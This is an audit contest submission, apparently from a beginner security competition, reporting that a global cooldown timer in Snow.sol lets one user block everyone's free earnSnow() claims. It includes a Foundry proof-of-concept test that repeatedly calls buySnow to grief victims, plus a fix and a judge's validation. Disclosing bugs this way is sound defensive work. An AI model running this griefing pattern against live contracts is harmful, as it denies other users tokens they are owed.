Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: low
Valid

Global `s_earnTimer` in `Snow.sol` Allows Any User to Block All `earnSnow()` Callers

Description

  • Snow.sol is intended to track per-user cooldowns for the earnSnow() function, which distributes free Snow tokens. Both buySnow() and earnSnow() interact with the cooldown timer. The earnSnow() function checks the timer and reverts if fewer than 7 days have passed since the last reset.

  • The cooldown is tracked with a single uint256 s_earnTimer variable shared across all users instead of a per-user mapping. One user's buySnow() or earnSnow() call resets the timer for everyone, blocking all other users from calling earnSnow() for a full week.

// Snow.sol — line 30
uint256 private s_earnTimer; // @> GLOBAL — shared across all users, should be mapping(address => uint256)
// Snow.sol — lines 93-98 (earnSnow)
function earnSnow() external canFarmSnow {
if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) {
revert S__Timer(); // @> reverts for ALL users when ANY user triggered the timer
}
_mint(msg.sender, 1);
s_earnTimer = block.timestamp; // @> resets timer for everyone
// Snow.sol — line 87 (buySnow)
s_earnTimer = block.timestamp; // @> buySnow also resets the global timer

Risk

Likelihood:

  • Even without a malicious attacker, any user who legitimately calls earnSnow() blocks every other user for 7 days — organic usage creates cross-user denial of service

  • An attacker can permanently maintain the block by calling buySnow(1) every 6 days

Impact:

  • earnSnow() is the only way users can obtain Snow tokens for free — an attacker can block all users from earning Snow for the entire 12-week farming window at minimal cost

  • After the i_farmingOver deadline passes, earnSnow() becomes permanently disabled by the canFarmSnow modifier, so there is no recovery window

  • Protocol availability for a core distribution function is degraded for all users with no mitigation path

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Snow} from "../../src/Snow.sol";
contract MockWETH_CR005 is Test {
mapping(address => uint256) public balanceOf;
function transferFrom(address, address, uint256) external pure returns (bool) { return true; }
function transfer(address, uint256) external pure returns (bool) { return true; }
}
contract PocCR005Final is Test {
Snow snow;
address attacker;
address victim;
address victim2;
function setUp() public {
MockWETH_CR005 weth = new MockWETH_CR005();
snow = new Snow(address(weth), 1, address(this));
attacker = makeAddr("attacker");
victim = makeAddr("victim");
victim2 = makeAddr("victim2");
}
function test_VulnerabilityDemo_FINAL() public {
vm.prank(victim);
snow.earnSnow();
assertEq(snow.balanceOf(victim), 1);
vm.warp(block.timestamp + 1 weeks + 1);
// Attacker resets global timer via buySnow
vm.deal(attacker, 10 ether);
vm.prank(attacker);
snow.buySnow{value: 1 ether}(1);
// Victim blocked despite waiting the full cooldown
vm.prank(victim);
vm.expectRevert(Snow.S__Timer.selector);
snow.earnSnow();
// Attacker resets timer again 3 days later
vm.warp(block.timestamp + 3 days);
vm.prank(attacker);
snow.buySnow{value: 1 ether}(1);
vm.prank(victim);
vm.expectRevert(Snow.S__Timer.selector);
snow.earnSnow();
}
function test_Variant1_EarnSnowSelfGrief_FINAL() public {
// Organic cross-user DoS — no attacker needed
vm.prank(victim);
snow.earnSnow();
// Second user immediately blocked
vm.prank(victim2);
vm.expectRevert(Snow.S__Timer.selector);
snow.earnSnow();
}
function test_Variant2_PerpetualGriefFullDuration_FINAL() public {
vm.deal(attacker, 100 ether);
uint256 blocked = 0;
for (uint256 i = 0; i < 14; i++) {
vm.prank(attacker);
snow.buySnow{value: 1 ether}(1);
vm.prank(victim);
try snow.earnSnow() {} catch { blocked++; }
vm.warp(block.timestamp + 6 days);
}
assertGt(blocked, 10);
}
}

Recommended Mitigation

- uint256 private s_earnTimer;
+ mapping(address => uint256) private s_earnTimers;
function earnSnow() external canFarmSnow {
- if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) {
+ if (s_earnTimers[msg.sender] != 0 && block.timestamp < (s_earnTimers[msg.sender] + 1 weeks)) {
revert S__Timer();
}
_mint(msg.sender, 1);
- s_earnTimer = block.timestamp;
+ s_earnTimers[msg.sender] = block.timestamp;
}

Remove the s_earnTimer = block.timestamp line from buySnow() entirely. Purchase cooldowns, if desired, should use a separate per-user mapping.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-02] Global Timer Reset in Snow::buySnow Denies Free Claims for All Users

## Description: The `Snow::buySnow` function contains a critical flaw where it resets a global timer `(s_earnTimer)` to the current block timestamp on every invocation. This timer controls eligibility for free token claims via `Snow::earnSnow()`, which requires 1 week to pass since the last timer reset. As a result: Any token purchase `(via buySnow)` blocks all free claims for all users for 7 days Malicious actors can permanently suppress free claims with micro-transactions Contradicts protocol documentation promising **"free weekly claims per user"** ## Impact: * **Complete Denial-of-Service:** Free claim mechanism becomes unusable * **Broken Protocol Incentives:** Undermines core user acquisition strategy * **Economic Damage:** Eliminates promised free distribution channel * **Reputation Harm:** Users perceive protocol as dishonest ```solidity function buySnow(uint256 amount) external payable canFarmSnow { if (msg.value == (s_buyFee * amount)) { _mint(msg.sender, amount); } else { i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount)); _mint(msg.sender, amount); } @> s_earnTimer = block.timestamp; emit SnowBought(msg.sender, amount); } ``` ## Risk **Likelihood**: • Triggered by normal protocol usage (any purchase) • Requires only one transaction every 7 days to maintain blockage • Incentivized attack (low-cost disruption) **Impact**: • Permanent suppression of core protocol feature • Loss of user trust and adoption • Violates documented tokenomics ## Proof of Concept **Attack Scenario:** Permanent Free Claim Suppression * Attacker calls **buySnow(1)** with minimum payment * **s\_earnTimer** sets to current timestamp (T0) * All **earnSnow()** calls revert for **next 7 days** * On day 6, attacker repeats **buySnow(1)** * New timer reset (T1 = T0+6 days) * Free claims blocked until **T1+7 days (total 13 days)** * Repeat step **4 every 6 days → permanent blockage** **Test Case:** ```solidity // Day 0: Deploy contract snow = new Snow(...); // s_earnTimer = 0 // UserA claims successfully snow.earnSnow(); // Success (first claim always allowed) // Day 1: UserB buys 1 token snow.buySnow(1); // Resets global timer to day 1 // Day 2: UserA attempts claim snow.earnSnow(); // Reverts! Requires day 1+7 = day 8 // Day 7: UserC buys 1 token (day 7 < day 1+7) snow.buySnow(1); // Resets timer to day 7 // Day 8: UserA retries snow.earnSnow(); // Still reverts! Now requires day 7+7 = day 14 ``` ## Recommended Mitigation **Step 1:** Remove Global Timer Reset from `buySnow` ```diff function buySnow(uint256 amount) external payable canFarmSnow { // ... existing payment logic ... - s_earnTimer = block.timestamp; emit SnowBought(msg.sender, amount); } ``` **Step 2:** Implement Per-User Timer in `earnSnow` ```solidity // Add new state variable mapping(address => uint256) private s_lastClaimTime; function earnSnow() external canFarmSnow { // Check per-user timer instead of global if (s_lastClaimTime[msg.sender] != 0 && block.timestamp < s_lastClaimTime[msg.sender] + 1 weeks ) { revert S__Timer(); } _mint(msg.sender, 1); s_lastClaimTime[msg.sender] = block.timestamp; // Update user-specific timer emit SnowEarned(msg.sender, 1); // Add missing event } ``` **Step 3:** Initialize First Claim (Constructor) ```solidity constructor(...) { // Initialize with current timestamp to prevent immediate claims s_lastClaimTime[address(0)] = block.timestamp; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!